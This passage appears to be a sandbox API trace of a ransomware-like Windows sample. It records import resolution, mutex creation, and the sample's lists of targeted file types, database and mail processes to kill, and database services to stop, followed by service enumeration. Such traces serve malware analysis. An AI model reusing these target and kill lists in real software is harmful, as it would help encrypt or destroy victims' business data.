(hModule=0x77190000, lpProcName="GetProcAddress") returned 0x771a51b0 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="GetModuleHandleW") returned 0x771a50d0 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="FindNextFileW") returned 0x771fee40 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="FindClose") returned 0x771fed70 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="MoveFileW") returned 0x771de500 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="GetFileSizeEx") returned 0x771fef40 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="GetModuleFileNameW") returned 0x771a5090 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="GetFileAttributesW") returned 0x771fef10 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="ExitProcess") returned 0x771a3cb0 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="GetCommandLineW") returned 0x771a4cc0 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="GetComputerNameW") returned 0x771d32c0 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="GetComputerNameA") returned 0x771d3780 [0145.252] GetProcAddress (hModule=0x77190000, lpProcName="CreateMutexW") returned 0x771feb70 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="lstrlenW") returned 0x771a6c70 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="lstrlenA") returned 0x771a6c50 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="GetCurrentProcess") returned 0x771fea10 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="WaitForSingleObject") returned 0x771feca0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="GetLogicalDrives") returned 0x771a0d20 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="GetTickCount") returned 0x771fdd50 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="DeleteFileW") returned 0x771fed40 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="WideCharToMultiByte") returned 0x771a6b10 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x771febb0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="Sleep") returned 0x771a6760 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="LeaveCriticalSection") returned 0x7756b250 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="ReadFile") returned 0x771ff090 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="CreateFileW") returned 0x771fed10 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="OpenMutexW") returned 0x771febf0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="EnterCriticalSection") returned 0x7756b2d0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="WaitForMultipleObjects") returned 0x771fec80 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="lstrcmpiW") returned 0x771a6bf0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="lstrcmpiA") returned 0x771a6bd0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="DeleteCriticalSection") returned 0x7754fb90 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="ReleaseMutex") returned 0x771fec20 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="CloseHandle") returned 0x771feab0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="GetVersion") returned 0x771a56c0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="CreateThread") returned 0x771a46b0 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="ExpandEnvironmentStringsW") returned 0x771a4a40 [0145.253] GetProcAddress (hModule=0x77190000, lpProcName="QueryPerformanceCounter") returned 0x771a5da0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="QueryPerformanceFrequency") returned 0x771a5dc0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="GetCurrentProcessId") returned 0x771fea20 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="SetFileAttributesW") returned 0x771ff100 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="GetVolumeInformationW") returned 0x771ff020 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="WriteFile") returned 0x771ff180 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="SetFilePointerEx") returned 0x771ff130 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="SetEndOfFile") returned 0x771ff0e0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="FindFirstFileW") returned 0x771fedf0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="GetProcessHeap") returned 0x771a51f0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="HeapReAlloc") returned 0x7755f630 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="HeapAlloc") returned 0x77562dc0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="HeapFree") returned 0x771a57f0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="CreatePipe") returned 0x771a4590 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="SetHandleInformation") returned 0x771feae0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="CreateProcessW") returned 0x771a4610 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="CompareStringW") returned 0x771a4430 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="CompareStringA") returned 0x771a4410 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="OpenProcess") returned 0x771a5cc0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="TerminateProcess") returned 0x771a67e0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="GetSystemTime") returned 0x771a54e0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="SystemTimeToFileTime") returned 0x771a67a0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="GetLastError") returned 0x771a5010 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="CreateToolhelp32Snapshot") returned 0x771dedc0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="Process32NextW") returned 0x771df8f0 [0145.254] GetProcAddress (hModule=0x77190000, lpProcName="Process32FirstW") returned 0x771df750 [0145.255] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x759a0000 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="RegOpenKeyExW") returned 0x759be580 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="RegQueryValueExW") returned 0x759be5a0 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="RegSetValueExW") returned 0x759bf530 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="RegCloseKey") returned 0x759bed60 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="OpenProcessToken") returned 0x759befb0 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="GetTokenInformation") returned 0x759bee90 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="OpenSCManagerW") returned 0x759c0540 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="OpenServiceW") returned 0x759bfa20 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="CloseServiceHandle") returned 0x759bfc00 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="ControlService") returned 0x759d26d0 [0145.342] GetProcAddress (hModule=0x759a0000, lpProcName="QueryServiceStatus") returned 0x759c2380 [0145.343] GetProcAddress (hModule=0x759a0000, lpProcName="EnumDependentServicesW") returned 0x759d2f70 [0145.343] GetProcAddress (hModule=0x759a0000, lpProcName="EnumServicesStatusExW") returned 0x759bfc80 [0145.343] LoadLibraryA (lpLibFileName="user32.dll") returned 0x77260000 [0145.502] GetProcAddress (hModule=0x77260000, lpProcName="SystemParametersInfoW") returned 0x7728f210 [0145.502] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75a80000 [0145.632] GetProcAddress (hModule=0x75a80000, lpProcName="ShellExecuteExW") returned 0x75be4730 [0145.632] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77520000 [0145.633] GetProcAddress (hModule=0x77520000, lpProcName="NtQuerySystemInformation") returned 0x77592070 [0145.633] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x6ca20000 [0145.635] GetProcAddress (hModule=0x6ca20000, lpProcName="WNetCloseEnum") returned 0x6ca22640 [0145.635] GetProcAddress (hModule=0x6ca20000, lpProcName="WNetOpenEnumW") returned 0x6ca22790 [0145.635] GetProcAddress (hModule=0x6ca20000, lpProcName="WNetEnumResourceW") returned 0x6ca22410 [0145.635] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77120000 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="WSAStartup") returned 0x77125b40 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="socket") returned 0x77134510 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="send") returned 0x77125030 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="recv") returned 0x77130c50 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="connect") returned 0x77125410 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="closesocket") returned 0x77130910 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="gethostbyname") returned 0x77156cb0 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="inet_addr") returned 0x77139160 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="ntohl") returned 0x771249d0 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="htonl") returned 0x771249d0 [0145.637] GetProcAddress (hModule=0x77120000, lpProcName="htons") returned 0x77138ff0 [0145.637] GetProcessHeap () returned 0x6b0000 [0145.637] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6bb288 [0145.637] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=23776920608) returned 1 [0145.638] GetTickCount () returned 0x1164926 [0145.638] GetCurrentProcessId () returned 0xcd4 [0145.638] GetTickCount () returned 0x1164926 [0145.639] GetTickCount () returned 0x1164926 [0145.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6bb120 [0145.639] GetVersion () returned 0x23f00206 [0145.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x7) returned 0x6c7028 [0145.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c8120 [0145.639] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8120, Size=0x20) returned 0x6bb148 [0145.639] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6bb148, Size=0x40) returned 0x6c7f10 [0145.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x6ce848 [0145.639] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7A") returned 0x0 [0145.639] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_2K63V7A") returned 0x1ec [0145.639] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7028 | out: hHeap=0x6b0000) returned 1 [0145.639] lstrlenW (lpString="Global\\syncronize_") returned 18 [0145.639] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7f10 | out: hHeap=0x6b0000) returned 1 [0145.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x7) returned 0x6c70b8 [0145.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c8210 [0145.639] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8210, Size=0x20) returned 0x6bb148 [0145.639] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6bb148, Size=0x40) returned 0x6c7df0 [0145.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x6de850 [0145.640] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7U") returned 0x0 [0145.640] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_2K63V7U") returned 0x1f0 [0145.640] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c70b8 | out: hHeap=0x6b0000) returned 1 [0145.640] lstrlenW (lpString="Global\\syncronize_") returned 18 [0145.640] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7df0 | out: hHeap=0x6b0000) returned 1 [0145.640] GetVersion () returned 0x23f00206 [0145.640] GetCurrentProcess () returned 0xffffffff [0145.640] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0145.640] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0145.640] CloseHandle (hObject=0x1f4) returned 1 [0145.640] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0145.640] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c5540 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c82d0 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c82d0, Size=0x20) returned 0x6bb148 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6bb148, Size=0x40) returned 0x6c8078 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8078, Size=0x80) returned 0x6c2640 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c2640, Size=0x100) returned 0x6c7788 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x34) returned 0x6cac98 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6c70b8 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6c7028 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6c6f08 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c8228 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6c6f28 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c8360 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c6f28, Size=0x8) returned 0x6c6f78 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c80f0 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c6f78, Size=0x10) returned 0x6c82e8 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c8210 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c82d0 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c82e8, Size=0x20) returned 0x6bb148 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c8258 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c8180 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c70b8, Size=0x8) returned 0x6c6fa8 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7028, Size=0x8) returned 0x6c6f78 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6c6f88 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c8348 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6c7028 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c8120 [0145.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7028, Size=0x8) returned 0x6c6f28 [0145.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c82e8 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c6f28, Size=0x10) returned 0x6c8300 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c8318 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6c70b8 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8300, Size=0x20) returned 0x6ee888 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c6fa8, Size=0x10) returned 0x6c8378 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c6f78, Size=0x10) returned 0x6c8138 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6c6f28 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c8150 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6c6fa8 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c8300 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c6fa8, Size=0x8) returned 0x6c7028 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6c6f78 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c8390 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6c6fa8 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c83c0 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c6fa8, Size=0x8) returned 0x6ef130 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8378, Size=0x20) returned 0x6eea68 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8138, Size=0x20) returned 0x6eebd0 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef250 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c8378 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6ef1b0 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c8138 [0145.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ef1b0, Size=0x8) returned 0x6ef240 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c5380 [0145.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c55a0 [0145.641] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0145.641] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7788 | out: hHeap=0x6b0000) returned 1 [0145.641] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0145.643] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c8168 [0145.643] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8168, Size=0x20) returned 0x6eed60 [0145.643] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eed60, Size=0x40) returned 0x6c7c40 [0145.643] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7c40, Size=0x80) returned 0x6c88f8 [0145.643] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c88f8, Size=0x100) returned 0x6c7788 [0145.643] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c8168 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8168, Size=0x20) returned 0x6ee978 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ee978, Size=0x40) returned 0x6c7df0 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7df0, Size=0x80) returned 0x6c88f8 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c88f8, Size=0x100) returned 0x6c84c8 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c8168 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6ef0b0 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4620 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ef0b0, Size=0x8) returned 0x6ef210 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c53a0 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ef210, Size=0x10) returned 0x6f4548 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c54e0 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6eec98 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4548, Size=0x20) returned 0x6ee978 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6eed10 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x16) returned 0x6c55c0 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6eed38 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6f4470 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6ef1f0 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6c7da8 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ef1f0, Size=0x8) returned 0x6ef160 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x3c) returned 0x6c7c88 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ef160, Size=0x10) returned 0x6f44d0 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c5600 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c5640 [0145.644] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44d0, Size=0x20) returned 0x6eed60 [0145.644] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x6c6c88 [0145.644] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0145.644] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7788 | out: hHeap=0x6b0000) returned 1 [0145.644] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0145.644] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c84c8 | out: hHeap=0x6b0000) returned 1 [0145.644] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eece8 [0145.646] EnumServicesStatusExW (in: hSCManager=0x6eece8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0145.647] GetLastError () returned 0xea [0145.647] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x6f6518 [0145.647] EnumServicesStatusExW (in: hSCManager=0x6eece8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6518, cbBufSize=0x1e24, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6518, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0145.648] CloseServiceHandle (hSCObject=0x6eece8) returned 1 [0145.648] lstrlenW (lpString="Appinfo") returned 7 [0145.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0145.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0145.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0145.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0145.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0145.649] lstrlenW (lpString="AppXSvc") returned 7 [0145.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0145.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0145.649] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0145.649] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0145.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0145.650] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.650] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0145.650] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0145.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0145.650] lstrlenW (lpString="Audiosrv") returned 8 [0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0145.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0145.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0145.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0145.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0145.650] lstrlenW (lpString="BFE") returned 3 [0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0145.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0145.650] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0145.650] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0145.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0145.650] lstrlenW (lpString="BITS") returned 4 [0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0145.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0145.650] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0145.650] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0145.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0145.650] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.650] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0145.650] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0145.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0145.650] lstrlenW (lpString="CDPSvc") returned 6 